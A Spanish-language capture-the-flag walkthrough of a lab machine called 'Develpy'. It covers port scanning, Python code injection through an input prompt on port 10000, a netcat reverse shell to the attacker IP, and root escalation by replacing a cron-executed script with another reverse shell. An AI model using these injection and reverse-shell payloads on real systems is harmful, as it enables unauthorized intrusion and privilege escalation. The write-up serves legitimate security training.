Develpy


December 31, 20224 minutes

Link de la máquina

IP Atacante = 10.10.10.10

IP Víctima = 10.10.139.165

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

❯ ping -c 1 10.10.139.165
PING 10.10.139.165 (10.10.139.165) 56(84) bytes of data.
64 bytes from 10.10.139.165: icmp_seq=1 ttl=63 time=50.4 ms

--- 10.10.139.165 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 50.434/50.434/50.434/0.000 ms

En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación

Escaneo de puertos (nmap)

Ahora empezamos con un escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.139.165 -oG allPorts
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
-sS –min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnSkip host discovery
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   2[*] Extracting information...
   3   4[*] IP Address: 10.10.139.165
   5[*] Open ports: 22,10000
   6   7[*] Ports copied to clipboard
   8───────┴─────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos

❯ nmap -p22,10000 -sC -sV 10.10.139.165

PORT      STATE SERVICE           VERSION
22/tcp    open  ssh               OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 78c44084f442138e79f86be46dbfd446 (RSA)
|   256 259df329a2624b24f28336cfa775bb66 (ECDSA)
|_  256 e7a007b0b9cb74e9d6167d7a67fec11d (ED25519)
10000/tcp open  snet-sensor-mgmt?
| fingerprint-strings: 
|   GenericLines: 
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 0
|     SyntaxError: unexpected EOF while parsing
|   GetRequest: 
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 1, in <module>
|     NameError: name 'GET' is not defined
|   HTTPOptions, RTSPRequest: 
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 1, in <module>
|     NameError: name 'OPTIONS' is not defined
|   NULL: 
|     Private 0days
|_    Please enther number of exploits to send??:

Puerto 10000

Cuando nos conectamos por nc al puerto 10000 sale este mensaje:

❯ nc 10.10.139.165 10000

        Private 0days

 Please enther number of exploits to send??:

Si ponemos una letra en vez de un número da error. En este error podemos ver que el programa está hecho en python y que se llama exploit.py. Es posible que sea posible inyectar código en un programa que espera una entrada del usuario y luego la interpreta como una variable.

Si probamos ejecutando esto: __import__('os').system('whoami') nos devuelve el usuario king

❯ nc 10.10.139.165 10000

        Private 0days

 Please enther number of exploits to send??: __import__('os').system('whoami')
king

Exploit started, attacking target (tryhackme.com)...

Intrusión

Como ya hemos visto que podemos inyectar código vamos a intentar mandarnos una reverse shell.

Primero nos ponemos en escucha por el puerto 443 con netcat de la siguiente forma: nc -nvlp 443 Después en el exploit.py le vamos a poner __import__('os').system('nc -e /bin/sh 10.10.10.10 443')

Escalada de privilegios

Tratamiento de la tty

Antes de empezar lo primero para trabajar mejor es hacer un tratamiento de la tty…

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset
xterm
export SHELL=bash
export TERM=xterm

user.txt

La falg user.txt está en /home/king/user.txt y la podemos ver con un cat /home/king/user.txt

root.txt

Con un cat /etc/crontab podemos ver que el archivo root.sh lo está ejecutando continuamente el usuario root. No tenemos permisos de escritura en el root.sh, pero lo que podemos hacer es borrarlo, crear un archivo que se llame igual y dentro ponerle el siguiente código

#!/bin/bash

nc -e /bin/sh 10.10.10.10 442

Y nos ponemos en escucha con netcat por el puerto 442

Al cabo de unos segundos recibimos la conexión y somos root. Podemos ver la flag con un cat /root/root.txt